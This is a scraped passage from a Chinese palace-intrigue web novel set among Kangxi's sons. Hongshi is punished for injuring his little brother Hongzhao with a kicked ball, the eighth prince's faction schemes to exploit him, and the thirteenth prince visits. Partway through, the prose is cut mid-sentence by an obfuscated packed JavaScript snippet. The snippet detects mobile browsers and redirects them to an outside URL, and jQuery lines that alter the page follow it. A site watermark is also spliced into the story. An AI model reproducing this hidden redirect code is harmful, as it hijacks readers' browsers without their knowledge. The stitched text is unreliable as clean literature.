“这谁说不是呢,”萨拉斜斜地倚在栏杆上,“咱们可算把咱们小阿哥盼出来了,明白的知道你已经是十二岁了,不知道的还以为你是什么小孩子呢?在家里犯什么事了,你阿玛管你管得这么严?” 弘时走上茶楼,重重地哼了一声:“都给你们递了消息,说我最近出不来,你们的帖子还是隔日就往我府上送。若是叫我阿玛逮住了,咱们都没得好果子吃。” 福成不屑地啧了一声:“快别说这种话了,被你阿玛逮住了最多也就是给你一顿板子,关我们什么事?我们约你可都是正经地方,这茶楼难道不雅致吗?” “我阿玛管你什么雅致不雅致的,”弘时坐了下来,抱怨道,“最近只要我念书稍懈怠了些,便立刻便是一顿训斥,在家中都过得这样烦闷了,出来就别提这一茬了。来,给我上君山银针,我可喝不惯你的岩茶,真不知道你怎么会喜欢喝这种玩意。” 福成翻了个白眼:“那是你没品位,我这可是上好的武夷岩茶。要知道最好的一批可是要送进宫的,若非我使了大银子,这茶能到这来?比你的君山银尖要好喝百倍。” “你这岩茶喝起来一股子铁锈味。”萨拉也应和了一声。 被两人围攻的福成愤愤不平地叫嚷了几句,直到弘时说起了这段时间在府中是怎么过的才勉强停下。 “不过就是踢了他一脚,阿玛这段日子便对我这样。”弘时说起这件事的时候还愤愤不平,他现在在府中是不敢把自己这种情绪表露出来了,但跟着朋友出来玩抱怨两句简直是理所当然的事情。 萨拉听得目瞪口呆:“你那位五弟今年是几岁了?” “不是吧,你干什么呢?你看不惯他不会偷偷在你阿玛面前给他上眼药,即便你想要揍他一顿也不能在你阿玛院子门口啊。”福成无语了,“你就不能趁着你阿玛不在的时候揍他,等你阿玛回来之后也好狡辩,非要在你阿玛院子门口干这种事,被抓住简直活该。” 弘时伸出手打了一下福成的脑袋:“你是不是我朋友?” 打完这一下才回答萨拉的问题:“今年应该是三岁还是四岁来着?反正年纪不大,但瞧着是真烦人。” 萨拉抽了抽嘴角:“若是你这弟弟只比你小两三岁,这还勉强能说是你们打架。但偏偏小这么多,这不一瞧就是你在欺负人。这才多久没见,怎么你突然变得这么蠢了。” “不错。”福成摇头晃脑说道,“即便是我瞧不惯我那几位堂兄弟,最多也就是想着套着麻袋揍一顿,你倒好直接当着家中人的面打,真真是活该。” “我那不是冲动了嘛,”弘时不耐,“前儿才被阿玛骂了,后脚他就自己撞上来了,这真要说也是他倒霉。” 萨拉啧啧两声,正摇头准备说些什么,就听见包厢的门被敲响了。 弘时此时正不耐烦,仰着脖子就开始骂:“敲什么呢,不知道爷在里头谈话吗?谁教得这样不懂……” 话音还未落,门就被打开了,外头立着一位中年男子,满脸堆笑似乎并未听出弘时语气中的其他意思:“三阿哥,八爷有请。” 和弘时已经能出去玩不同,即便没有受到惩罚,弘昼现在也是不能出府的。 但他最近多了一个小玩伴,弘暾回府后被自家阿玛许诺了让先生夸奖了一回后便能来四伯的府上找两位小堂弟玩。 于是他回去之后念书可认真了,但不知道为什么平日里很会夸人的先生却一直没有夸奖他。直到他认真念书了两个多月,先生才夸奖了他一回。 散学后,弘暾便兴致勃勃地过来找阿玛了,要阿玛兑现承诺。 本来最开始弘暾认真念书是想要找两位小堂弟玩,但到了后面便是有些倔强的想法了。想着自己已经这么认真了,一定得到先生的夸赞。 十三爷放下了自己手上把玩的念珠,眉间带了点笑意:“当真是先生夸奖你了吗?若是撒了谎,后面叫我知道了,必然是要罚你的。” “阿玛小瞧人。”弘暾哼了一声,很是不高兴,“先生今日就是夸我了,而且夸了好长一串。” 十三爷好笑,他最开始与先生打了招呼,叫那几日不要夸奖这小子。本以为这小子最多坚持几日便罢了,却不承想竟然能坚持这么久,让十三爷隐约觉得自己有点心虚了,便在昨日与先生说了可以夸奖他了。 这才不过一日,弘暾便过来找他要奖励了。看来近日先生也是觉得他学习刻苦了,这已经两月了,便带着他去四哥府上找弘历和弘昼玩玩也没什么。 “既然先生夸奖你了,那今日便带着你去你四伯府上吧。”十三爷站起身,将手中的念珠随手放到了桌上。 弘暾的眼睛亮了,整个人都神采飞扬了起来。 从十三爷的府邸到雍亲王府距离并不算远,但弘暾还是觉得在马车上待了许久。总觉得要是眨眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037231|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间就能到四伯府上就好了,那自己就能求求阿玛让自己经常过来了。 到了雍亲王府后,弘暾马上就要溜去找弘昼两兄弟,但马上就被十三爷逮住了。 “你要先去给你四伯请安。”十三爷拎着儿子的领子说道,“到府上要先给长辈请安,没教过你吗?” “知道了阿玛,快松开。”弘暾几乎要将自己的身子扭成了麻花,才终于被十三爷放了下来。 终于在见过四爷后,弘暾被领路的下人带到了弘昼和弘历住的院子。此时弘昼和弘历正在玩耍他们最近新得的玩具,那是四爷命下人打造的两个小木马,雕刻得如同真马儿一样,还配备了马鞍缰绳。 骑在木马上面手里拿着小木剑乒乒乓乓地一顿打斗,虽说效果比不上骑在真马上面,但情绪上已经是差不多的了。 “哇——”弘暾进院子就发出了一声惊叹,随后兴奋道,“我也要玩,我也要玩。” 木马这样的东西是最近四爷才叫匠人给弘昼和弘历打出来的,皆是因这两个孩子最近叫着要学骑射。但他们都还没有小马儿的马腿高呢,四爷又岂能让他们去做这样危险的事情,起码也要等到七八岁了才能学骑射。 所以弘暾平时在自己府上是没有见过这个东西的,他此时见到只觉得新奇极了。又看到弘昼和弘历互相用木剑打斗,恨不得马上拉下来一个人让自己上去。 “给四阿哥五阿哥请安。”带着弘暾过来的苏培盛先是行礼,随后笑吟吟道,“王爷吩咐叫两位小阿哥招待好弘暾阿哥,在一起好好玩儿。” “弘暾?”弘历有点迷茫,上回见到弘暾已经是两个月前的事情了,他对这位堂兄已经没什么印象了。 但弘昼还记得他,当即从木马上下来:“你跟着十三叔过来的吗,专程来找我们玩的?” “是啊,”弘暾重重地点了一下脑袋,“你们不知道,阿玛说了要我得到先生的夸奖之后才带着我过来找你们玩儿,我这些日子可努力念书了,今天终于得到先生的夸奖了。” 弘昼低头算了算,离上次自己见到他已经过去了两个多月的时间了吧。两个多月的时间才让先生夸奖了一回,看来这位堂哥也是个学渣呀。 弘暾倒是不知道弘昼在腹诽他什么,他兴冲冲地走上前来摸了摸弘昼的小木马:“这是马儿吗?你们刚刚在玩什么游戏,我也要玩。” “我们在玩打仗的游戏,”弘历终于想起几月前的那一次会面,对这位堂兄有了点印象,大方道,“你要一起来玩吗?” “打仗的游戏?” “就是这样,骑在马上用木剑拼杀。”弘历拿起手中的木剑在空中挥舞了一下,给弘暾做了个示范。 看见弘暾亮起的眼睛弘昼就知道这位堂哥是想要玩这个游戏了,于是大方地把自己的木马和木剑借给他,让他和四哥继续玩这个游戏。 其实最开始听四哥提起这个游戏的时候,弘昼是拒绝的,听起来好幼稚。可是真的开始玩之后,弘昼直接忘记了自己刚才的想法,玩得比弘历还要疯些。 第30章【VIP】 第30章 板子 第30章 蹴鞠被自己踢出去的瞬间,弘时就清醒了过来。看着弘昼被蹴鞠踢倒,他心中蔓延出一股窃喜,随即就变成了惊恐。 阿玛方才不是在书房处理事情吗,怎么会突然出来? 看着阿玛似乎要喷出火来的双眼,弘时瑟缩了一下白皙的面庞变得更白了些,张嘴便道:“阿玛,儿,儿子不是故意的,儿子不过是想要将蹴鞠踢回去给五弟,没注意力气用大了些……” 弘历已经跑到了弘昼身旁,眼眶红红地查看他:“弟弟,弟弟你没事吧,痛不痛呜呜呜……” 旁边伺候的人也赶紧围了上来,想要看看五阿哥有没有大碍。这才搬到前院几日,怎么就遭了这么大的罪。 四爷冷冷地看了一眼弘时,路过他的时候给了他一个响亮的耳光,随即大步向前走到了弘昼身边见弘昼躺在地上捂着被踢到的地方说不出来心中一惊,连忙打横抱起抱入了自己的院子吩咐道:“快些去请太医前来。” 弘时愣在原地,抚摸着自己被打了一巴掌的脸。 这么多年来,即便阿玛再怎么生气,最多也就是打两下手板心。像这样当着这么多伺候的人打,还是头一回。 但马上他就顾不上悲春伤秋了,因为将弘昼抱进了院子的四爷吩咐了苏培盛出来。 “三阿哥,”苏培盛脸上也没了笑意,“爷吩咐您在这跪着。” “跪着?”弘时愣了愣,“跪到什么时候?” “这个……爷没有说。” 弘时张嘴便想要叫屈,但想到被抱进去的五弟还有方才阿玛森冷的目光。最后还是老老实实在原地跪下,这院子里有着四爷平日里办公的书房,还有平常不去后院休息的卧房,往常便人来人往的。 今日叫了太医,来往伺候的人便更多了些。虽说这往来的人都不敢直视三阿哥,但弘时还是觉得每个路过的人都在看着自己,看着自己被阿玛罚跪在这里,看着自己这个阿玛的长子颜面尽失。 弘昼疼得厉害,这蹴鞠一下子就击中了他的腹部,让他觉得腹部传来了钻心的疼痛,还有些呼吸困难。那蹴鞠的力道极重,猛地冲过来在他还没有反应过来的时候就感受到了腹部被重物击中后的疼痛。 弘历也跟了进来,在旁边急得团团转:“阿玛,阿玛弟弟不会有事吧,弟弟一定没有事的吧。” 四爷没应,将弘昼放到了他的床上后伸出手就开始解弘昼的衣裳。看着腹部有点被击中的红,其余的看不出什么后,用被子将弘昼盖上了。 见弘历在一旁急得团团转,四爷温声安抚了两句后便将弘历的张嬷嬷叫来让她将弘历带回自己的院子。小孩子在这里帮不上忙,还会跟着一起着急,还是带回自己院子里待着吧。 素日里四爷最是爱洁,若是从前有人说会有人衣裳上都是尘土就被他放到自己的床上他是决计不会信的。但今日也实在无法,顾不上这么多了。 “疼……”弘昼的眉头紧蹙,无意识地呢喃着。 四爷听见这虚弱的呼痛声,心略微有些揪了起来。他平素对孩子较为严格,是盼着日后能有出息,但看着这么小的孩子在床上呼痛的模样很难不会心疼。 太医是从紫禁城中请来,虽说雍亲王府在京城中的位置极好,但派人去紫禁城走一趟又把太医叫来还是耽搁了大半个时辰。 等太医前来时,掀开弘昼盖着的被子,旁边的弘历不禁倒吸了一口冷气。原本只是有些红肿的腹部,现在青青紫紫的一片,看上去极为骇人。 一旁的四爷眼神也略微深了深,面上不动声色但心中怒意盎然。 请来的赵太医自然也见到了外头跪着的人,他常出入雍亲王府,算得上是四爷信任的人,自然是认识三阿哥弘时的。但这明显不太对的氛围让他很自然地闭上了嘴,假装没有看到三阿哥跪在外面。 将弘昼全身上下细细检查了一遍后,赵太医捋了捋自己的山羊胡说道:“这伤处看着骇人,但好在五脏六腑并无太大损伤,此乃大幸。但五阿哥毕竟年幼,这样伤了一回,接下来的日子要好好将养着,若是不慎,恐会留下暗伤,虽不至于影响寿数,但也会在日后缠绵病榻。” 听着赵太医的话,四爷先是心情一松,提到腹部最怕的就是内里的五脏六腑有什么大碍。若是五脏六腑并无大碍,那日后只需好好养着,府中不论什么珍贵的药材都是能弄到的。 但听见后面的话,又紧张了起来。小五自出生起便很是康健,耿氏将他养得极好,平日里甚少生病,可以说是他府中最好养的孩子了。若是经过这一遭,让这孩子变得体弱多病起来,那可就太遭罪了。 诊断完之后,赵太医留下了一张方子命早晚一次喝上三日。又留了一瓶外敷的药,叮嘱了一番之后就告辞了。 四爷接过药后,放轻了手上的动作,将弘昼的腹部都敷上药后盖上了透气的薄被。命人将屋中的炭盆多放几个,既然盖不了厚被子那就让屋内暖和些。 此时下人煎好的药送了上来,弘昼被叫起来喝药。四爷将药一勺一勺喂了过去,弘昼被苦得只觉得人生无望,若非腹部实在疼痛他简直想要将药夺过来直接一口闷了。 喝完药,感受着室内的暖意,弘昼终于沉沉地睡了过去。只是睡得还是不安稳,时不时地就想要抚一下自己的肚子,四爷命人在床边点了盏昏暗的灯,派了人在这里看着弘昼睡觉,免得若睡觉不老实将自己受伤的地方压了。 做完这些后,四爷从室内出来,走到了院外。 此时天色已经昏暗,一轮皓月悬于空中,周围伴着几颗星星,但这几颗星星极为昏暗,若是不专门去瞧,说不定都看不见。 弘时还跪在那里,除却弘时的小厮祥桂陪着自家主子一起跪着之外,这里几乎没有什么别的人了。伺候的下人们虽然知道是王爷在罚三阿哥,但并不敢多看,除却一定要走这里,其余的皆是绕路了,生怕自己在这里多走了两次让三阿哥记住了,日后记起来了找机会来报复自己。 在这里已经跪了两个多时辰了,弘时的面色一半在月色的映衬之下更加苍白,另一半则肿起来很高,方才四爷那一巴掌是用了全力的。他听见声音微微抬起头来,在看见阿玛那张冷峻的脸后,面上激动了一下,随即就变成了害怕。 自幼起便没有遭过这么大的罪,弘时只觉得自己的腿宛如针扎一般的疼。但他不敢私自起来,方才已经犯了大错,若是自己起来阿玛更生气了怎么办。 “阿玛,”见四爷已经走到了面前,弘时仰起头来,可以将自己那肿起来的一巴掌对着四爷,“儿子知道错了。” “错在哪?”四爷的声音冷淡,听不出什么别的情绪。 “儿子不应和五弟玩的时候没有分寸,”弘时说道,在这里跪着的这段日子里他已经想好了,是决计不能承认自己是故意的,一定得是不小心的,“五弟年幼,和他玩的时候本就该注意些力道,日后决计不会了。” 听见弘时的话,四爷眼中的失望之色加深。已经在这里跪了几个时辰了,依旧不肯说实话,对手足兄弟无关心怜悯之情,竟连弘昼的一句话都不曾问过,一开口是认错,但却不敢将自己真错的地方说出来。 “你只有这话想说?”四爷再问了一遍,他决定给这个不聪明的长子一次机会。 听到四爷的问话,弘时迷茫了一瞬间,随即点了点头。他不敢承认自己是故意,也只有这么多话可以说,毕竟多说多错。 见弘时点头,四爷闭了闭眼。 在外面和老八老九斗法,被他们捉到小辫子在朝堂上参的时候,他都没有这么无力。此时他无比的怀念曾经的弘晖和弘昐,这两个孩子都聪慧,只要活下来一个他此时又何至于指望弘时。 “你,这般年幼便对手足兄弟这般狠心,你口中说是想和弘昼玩乐,但这书房外头人来人往的,你以为你所作所为便能瞒住所有人吗?”四爷语气中带上了一点抑制不住的愤怒,“犯错之后不仅撒谎,还屡教不改,这些年的孔孟之道你都读到狗肚子里去了?!” 弘时本来还仰着脸想在阿玛那里卖惨,不曾想到等来的不仅不是阿玛的嘘寒问暖,而且劈头盖脸的一通骂。 “犯了这样大的错,不打不足以以儆效尤,拖出去打上十板子。”四爷冷肃道。 弘时开始学骑射还不足一年,年岁也还不大,十板子已经够他受的了,接下来的十天半个月想来是要躺在床上了。 听见阿玛口中的话,弘时宛如天塌了。自己不过是踢了一下蹴鞠,那弘昼想来也没什么大事,怎么就要让自己挨一顿打。 不多时,外面就传来了弘时的痛呼声,前院一夜灯火通明。 这件事在一晚上传遍了后院,耿执羽惊得六神无主,几乎要跑到前院来看看弘昼是不是真的无碍。但最后被钮祜禄格格劝住了,既然爷已经责罚了三阿哥,那这件事便算过去了,若是主动跑到四爷面前叫,以这位爷的性子怕是会心中生恼。 直到听到张嬷嬷的禀报,耿执羽才算冷静下来,弘昼无大碍就好。只是心中对于三阿哥和李侧福晋多了些恨意,她的弘昼从来就是不爱惹事的性子,这回也是好好在外面玩着又没有招惹三阿哥,凭什么这样行事。 福晋受到了四爷的知会,安抚了耿执羽两回,也在早晨请安的时候训斥了李侧福晋好几回。李侧福晋多年来没有当面被训斥过了,臊得她面皮通红,心中恨恨的。 既然已经责罚了弘时,这件事便算过去了,凭什么福晋在后院偏袒耿氏那个贱人。更何况不过是被踢了一下,弘时竟然挨了十板子,四爷眼看着也是偏向那两个小贱种的。 这件事在雍亲王府中就算是过去了,四爷和福晋都已经责罚了犯事的人。即便耿执羽觉得不够,但也只能听从兮兰姐姐的话当这件事过去了。 但雍亲王府外的人得知了此事,心中盘算的可就多了。 “你说什么,咱们四哥打了他那个长子?怎么可能,四哥不是最宝贝他那个儿子了。”九爷拨弄着桌上的香炉噗笑一声。【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 十三爷来了 第31章 “诶?”十爷原本正低头看着自己的玉佩,听着这句话也感兴趣地抬起头来,“可知详情?这个长子从前那般在意,如今竟不怕小孩子年岁小挨了板子发高烧吗?” 在这个年代,若是孩子发了高热,那便是极为危险了。即使这高热褪下去能捡回一条命也有被烧成傻子的风险,所以孩童期间最怕孩子发热。而挨了皮肉之苦,发热是常见的。 “上回不是已经打过了?”九爷冷笑一声,“上回被引到那样的地方已经挨了一顿打了,不过倒是不知道这次是为着什么。” 连最上首的八爷手中的笔也停顿了片刻,似乎也在听下面人的汇报。 像他们这样互相作对这么多年的政敌,在对方府上安插人手是再正常不过的事情。八爷也知道自己府上定然也有四哥安插的人手,所以能在书房走动的全都是自幼起便跟在他身边的人,被买通的可能性极低。 若是一般的小事自然也不一定能传出来,因为这被安插进去的人并不在什么要紧的位置。但府中的三阿哥伤了五阿哥,甚至牵连了后院的两位侧福晋格格,早就传遍府上了。他自然也知道了,趁着出府的时间将消息传给了与他接头的人。 “回九爷十爷的话,”下头的那人低着脑袋,知道这个消息必然能让上首的三位高兴,说不得自己也能领些赏钱,语调带着点愉悦,“听闻是雍亲王府的三阿哥踢蹴鞠的时候将五阿哥踢伤了,还叫了太医呢,当日那三阿哥就被罚了,跪了两三个时辰后打的十板子。” “跪了两三个时辰后打的十板子?”九爷彻底下了自己拨弄的香炉,转头看着八爷笑道,“八哥,这可不就是咱们的好机会?去岁咱们在老四手底下吃了大亏,如今正是找回来的好时候。” “下去领赏吧。”八爷放下了手中的毛笔,对着下面的人挥了挥手先将他下去,才看向九爷,“什么好机会?” 九爷不耐烦地啧了一声,“八哥你这不是明知故问嘛,这弘时已经叫人引了他两三回了,他心中恐怕早就对他阿玛不满了。如今出了这一遭,咱们不得打蛇随棍上,赶紧让弘时知道他阿玛不好,但是有几个好叔叔呀。” 八爷没有应,端起了茶杯抿了一口。 “这小子看起来真不像是四哥养大的,”十爷歪着身子坐在椅子上,跷着二郎腿,“四哥自幼起便是一肚子的心眼子,但这小子不过听着外面的人说了几句话,便这样信了。也不知道四哥那个性子,是怎么养出这么单纯的儿子的。” “若非这小子被养成这样,咱们也没有可乘之机啊。”九爷抚着下巴,似乎想到了日后从弘时这里套出对四哥不利的证据,脸上的笑意越发浓厚。 “这段日子先别动,”八爷开口,唇边依旧是让人如沐春风的笑意,似乎一点也没有被去年毙鹰事件影响一般,“想来刚打了人四哥这段日子对咱们这个大侄子定然看得紧,还是得等过段时间,只要还放弘时出来,咱们就不愁找不到机会。” 这些年的观察,让八爷已经大体知道*了这个大侄子是个什么性子。四哥府中如今才三位小阿哥,这个大侄子就已经有了些紧迫感,这一遭过后想来更会将那两个小的恨上。届时不论想做什么,只要扯了这个旗子都好做成了。 “那是自然,咱们这最不缺的就是时间。”十爷语调中带了些漫不经心,他微微扬起唇角,动了动身子让自己靠躺在椅子上的姿势更加舒服。 屋内香炉中青烟袅袅,里头散发出了略有些甜腻的香味。 弘昼醒来的时候肚子依旧很疼,但没有昨日那般钻心的疼痛了。睁开眼睛一看,这四周并不是自己熟悉的环境,头上的床帐是蟒纹的,颜色是清雅的石青色。 见到弘昼醒了,守在旁边的郑嬷嬷赶忙上前来,扶着弘昼微微靠坐在床头上:“阿哥可有哪里不适,药已经熬好了,等咱们待会儿用膳后就能吃了。” 听到这话,弘昼嘴里不禁泛起了一阵苦味,昨天被阿玛喂药的时候那一勺勺的可真是苦极了。如果不是没有力气自己夺过来直接一饮而尽,他才不要这样一口口品尝那苦药的滋味。 若只是苦也就罢了,可那药里不知道加了什么,酸涩极了。简直比柠檬还要酸,比没有成熟的果子还要涩。 这边说着,马上有侍女端了粥过来,轻声细语道:“太医嘱咐了,这几日不好进些不克化的,今日便只能喝些粥水了,但过几日咱们五阿哥就能吃好吃的了。” 弘昼又不是真小孩子,自然不会在这方面闹什么。乖乖让侍女给自己喂饭,吃完了又一口气将那玉碗里的药一饮而尽,最后塞了一颗甜甜的蜜饯入嘴压下了那一嘴的酸涩味。 “咱们小阿哥真乖。” 郑嬷嬷在一旁捧场地夸赞,弘昼是她从小带到大的,昨日瞧着那骇人的伤势自然是心疼的。心中更是将三阿哥骂了无数遍,不过她的身份让她不敢将这些话说出来。 之后便是要在腹部涂药了,弘昼的衣裳被掀开,看着自己青青紫紫的腹部不由倒吸了一口凉气。昨天看着还没有这样吓人,怎么今天看起来就成这样了。 原本白皙的腹部如今青紫交替,有些地方还红肿着,看上去就知道这里之前遭了多大的罪。别说弘昼自己了,郑嬷嬷看着眼睛里都不由泛起了一丝泪意。 咽下了几乎要脱口而出对三阿哥不敬的话,郑嬷嬷轻手轻脚地将药膏抹在了弘昼的伤处。在药还没上完的时候,四爷便从外面走了进来。 一进来就看到这腹部的青紫,四爷眼中闪过一丝疼惜,但很快就被怒意代替。 “阿玛?”弘昼看到了进来的四爷,唤了一声。 四爷轻轻嗯了一下,手在弘昼的脑袋上摸了摸,柔声道:“今日还疼吗?” “疼,”弘昼重重点了一下脑袋,眼睛里似乎都要泛起泪珠来,“好疼呀,比昨日还疼,阿玛,为什么三哥要踢我?” 听见这话,四爷微微挥了挥手,屋内的下人会意地走了出去。片刻之后,屋中只剩下了这两父子,四爷坐在了弘昼的床边。 “你三哥这件事,阿玛已经罚过他了。”四爷的声音轻柔,这是平日里很少见到的,“你和你三哥是兄弟,本是该兄友弟恭的。你三哥一时鬼迷心窍才做下了这样的错事,其实是想和你一起踢蹴鞠不小心用太大的力道了,如今已经被罚了,咱们弘昼原谅他好不好?” 虽说弘时犯下了这样的错,但四爷还是更希望府中的几个孩子能兄友弟恭。同是雍亲王府的阿哥,同气连枝应对外人的话,自然要比单打独斗好上不少。 况且自己府中这两个小子已经在汗阿玛的那里挂上了一个兄友弟恭的名头了,四爷绝不愿意让这样的事情传出去,若叫汗阿玛知道了会怎么看自己府上呢?所以即便重罚了弘时,四爷对外的说法也是弘时和弟弟玩乐时不注意力气罢了。 弘昼听着四爷的话,微微睁大了眼睛,似乎有些听不懂一般:“可是三哥为什么会这样,我和四哥从来就不会,四哥一直会让着我。” 昨天自己好三哥的那个表情可不像是要和自己玩的,弘昼虽然不知道自己这位阿玛为什么会颠倒黑白,但他不想直接点出来,万一阿玛恼羞成怒了怎么办。 四爷有些词穷,他一直知道弘历和弘昼的关系好。耿氏和钮祜禄氏的关系不错,这两个孩子也经常一起玩,这几年间也没听说两个孩子玩闹出过什么事。将弘时做的这件事也解释为玩闹是有些不讲理,可若直说出去不仅弘时,雍亲王府的名声也会差许多。 看着阿玛脸上难得的窘迫,弘昼在心里哼哼,还好自己不是小孩子。若真的是小孩子,说不定就被忽悠过去了。 “你三哥不是故意的,”四爷片刻后还是坚持道,“等过些日子将他压过来给你赔罪如何?阿玛已经罚过他了,打了他十板子还要抄书,日后和你们玩的时候一定会掌握分寸了。” 打板子?抄书? 这个倒是弘昼不知道的,昨日打弘时板子的时候他已经睡着了。醒来就在阿玛的卧房内,郑嬷嬷自然不敢在这里和自家小主子说三阿哥被责罚,而她不说其余的人更不敢多嘴了。 能在四爷房中伺候的人,平日里都不敢多嚼舌根。 虽然不知道十板子打得多重,但自己被踢了一下,他屁股挨了十下。弘昼换算了一下,加上他还要抄书,自己倒也不算太亏。 但弘昼还是不愿意说原谅,日后长大了说不定就要被直接压着“原谅”了。但现在自己是小孩子,任性一点也无所谓的。 “才不要原谅,我以后不和三哥玩了,我要和四哥玩。”弘昼气哼哼说道。 四爷无法,总不能和小孩子讲什么利弊得失,他又听不懂。况且这件事弘昼还是苦主,他也不好勉强,只能转移话题。 “你和你四哥这几日在前院可还适应?” 弘昼也不追着他继续说之前的事情了,而是讲了讲自己这几天在前院干了什么。和四哥一起玩,一起吃饭,还有听先生讲课也说了。 听着弘昼如同流水账一般的话,四爷没有不耐,听着听着嘴边不由得泛起了一点笑意。这孩童无忧无虑的生活,听起来格外解颐。 但讲了没多久,就听到门外传来了叩门的声音,四爷唤了声进,苏培盛小心翼翼地走了进来,察觉到屋内气氛不错才松了口气。 “主子,十三爷来了。” 第32章 同龄人 第32章 十三爷?应该是阿玛的兄弟吧,弘昼在心中想到。府中喊四爷一般是叫爷或者王爷,但之前跟着阿玛去参加宫宴的时候,弘昼也听到了不少人喊阿玛四爷,结合一下阿玛是皇子的这个身份很快就能得出阿玛行四是四皇子。 而这位十三爷既没有提及姓氏,又没有提及官位,应当就是阿玛的兄弟了。 不过皇玛法还真挺能生的,皇子就有十几个了,再加上公主岂不是又二十几个孩子。以前在前世的时候倒是听说过清朝著名的九子夺嫡,也不知道是不是这个朝代的事情。 四爷听到苏培盛的话语之后对着弘昼又安抚了几句,便起身去书房了。 书房中的十三爷早已坐在椅子上等着,有眼力见的下人们已经上了今年新出的雨前龙井。 “十三弟,”四爷刚踏进书房,便笑着打招呼。 有了冷面王爷的称号之后,四爷见到外面的人都不大爱笑了。但唯有见到十三弟,不论什么时候每回都能笑得出来。 十三爷起身相迎,面上也露出了笑意:“四哥。” 他身材魁梧,明显是多年勤于骑射。五官也偏向硬朗,但眉宇间自带了一股潇洒的气质,含笑的时候更是有些风流的韵味。 四爷进来直奔着主位,坐下之后喝了口茶问道:“怎么想着今儿过来我这瞧瞧了?往日里你可不爱往我这府中走动。” 自一废太子过后,原本圣眷优渥的十三爷便被康熙厌弃。这几年来一直称得上是夹着尾巴做人,十三爷知道自己不受老爷子的待见,也不愿在明面上多和四哥来往,也就不经常前来雍亲王府。 “这回是听闻了一个消息,”十三爷一点不卖关子,“汗阿玛要停了八哥府中和属官的食俸。” “什么?”四爷诧异,“老八最近干什么了?” “八哥最近可安分得很,已经称得上是足不出户了。”十三爷的嘴角噙了一丝笑意,“听说是弘晳在汗阿玛面前不小心又提了去岁过年的那一对海东青。” 去岁年关将至的时候,八爷从蒙古寻摸了一对品相上佳的海东青。康熙素来对这样的猛禽钟爱有加,便想着用这对海东青来讨一讨汗阿玛的好。但谁知这海东青送上去之后,当着群臣的面揭开帷幕,竟然一只已经死了,而另一只也是半死不活的样子。 这让这些年本就忌讳自己已经年岁逐渐老去的康熙直接暴怒,当场就斥责了八爷辛者库贱奴之子。这句话可以说堵了八爷日后继位的可能,也让八爷沉寂了些日子。 “弘晳,”四爷也乐了,“看来弘晳这是还记得当年的事情。” 曾经的太子胤礽被废,八爷也是出了不少的力气的。而弘晳身为废太子的长子,对他阿玛曾经的政敌看不惯也实属正常。 “是啊,这样狗咬狗的好事,咱们可难得遇见一回。”十三爷道,“不如趁着八哥这回失意,将他们那几个跳得高的京官贬出去几个?” 痛打落水狗的道理谁都懂,趁着汗阿玛想起去年的事情,打压他们那一党的气焰才是正理。 四爷摇了摇头:“去岁那件事咱们已经动了不少人了,现在这几个京官也不聪明,暂且留着罢。若是这几个走了,他们还要费力气再捧人上来,若捧了几个聪明人那咱们才麻烦呢。” “这话也对。”十三爷没意见,又聊了几句别的后笑道,“这回来还有一件喜事告知四哥。” “什么事?”四爷问道。 十三爷面上浮现了两分喜意:“我福晋怀孕了,大夫已经号准了脉,已有三月了。” “这是大喜事啊。”四爷不禁有些羡慕。 十三爷和十三福晋的感情好,这几年间几乎是一年一个孩子往外生。已经有了两个嫡子和一个嫡女了,四爷看着十三弟夫妇琴瑟和睦,偶尔也会羡慕片刻。 可惜他没有这个福气,从福晋过门以来。他们夫妇之间就做不到真正的坦诚,自然更谈不上举案齐眉琴瑟和鸣了。 恭喜了几句后,又聊起了孩子。 “四哥是不知道,我这整日里虽然没有差事,但管着孩子已经是筋疲力尽了。弘昌这孩子固然聪慧,但实在是有些不听话,而弘暾又有些太听话了,可为人实在愚笨不堪,这两个孩子倘若能中和一下就好了。” 说起孩子这个话题,十三爷简直是一肚子的苦水想要往外吐。府中这两个孩子都不是好教的,性子各异,这个方法或许教一个有用,教两一个就没用了。 说起教育,四爷也一肚子苦水,将昨日发生的事情与十三爷讲了叹道:“这儿女都是前世的债。” “弘时这般年纪,怎能有这样的心思。”十三爷听得眉头紧蹙,他府上这两个孩子固然不好教,但品行上瞧着是没什么大问题的。但弘时此举,说得上是品行出了差错。 对年幼的弟弟这般心狠,而且这般愚蠢在大庭广众之下行事。 “我也正发愁呢,”四爷长叹了一口气,“从前我只这一个孩子了,没得选,是一门心思想教得文武双全,品行斐然。但不知为何却成了这样,这弘昼刚到前院还不足五日呢,平日的待遇也不及他,真不知是怎么生出这个心思的。” 弘历和弘昼在待遇上是不如弘时的,弘时当初月例不够的时候来找了四爷,四爷给他抬了一半。而弘历和弘昼年幼,瞧着也没这方面的困扰,四爷也就没有动他们的月例。 “弘昼呢,身子如何了?”十三爷对这个年幼的小侄子不由多了些同情和慈爱。 “方才醒了,瞧着倒是比昨日要好些了。太医说了只需好生将养着,日后并无大碍。” “既然醒了,”十三爷思索片刻道,“我这个当叔叔的还没怎么见过这孩子呢,这回又碰上他受伤,不如过去看看?” “哪有叔叔去瞧侄子的道理。”四爷不赞同,“该等他好了之后来拜见你才对。” 十三爷朗声笑道:“四哥,我和你之间又何必讲究这些?今日凑巧碰见了,便去瞧瞧也没什么。” 这话出,四爷也不好开口推拒了。起身带着十三爷往他的卧房走,刚靠近就听见里面传来了小孩子的说话声。 弘历刚得知弟弟醒来的消息便忙不迭过来想要看看,现在正趴在床头盯着弟弟的伤口。 方才过来的时候,弘历便闹着要看看受伤的地方。但弘昼有些懒,不想把被子掀起来,便拒绝了。 可往日里被自己拒绝了也不会在意的四哥,今天却突然噙着眼泪看着自己。原本就粉嫩可爱的包子脸更是皱成了一团,看得弘昼都有些心疼。 拗不过四哥,弘昼将被子掀开让他看了看自己的肚皮。 “是不是很疼?”弘历伸出手似乎是想要摸摸,但又不敢下手,趴在床边仰着脸问道。 弘昼靠坐在床头:“已经不怎么疼了,阿玛说了我只要好好喝药没多久就能好的。” 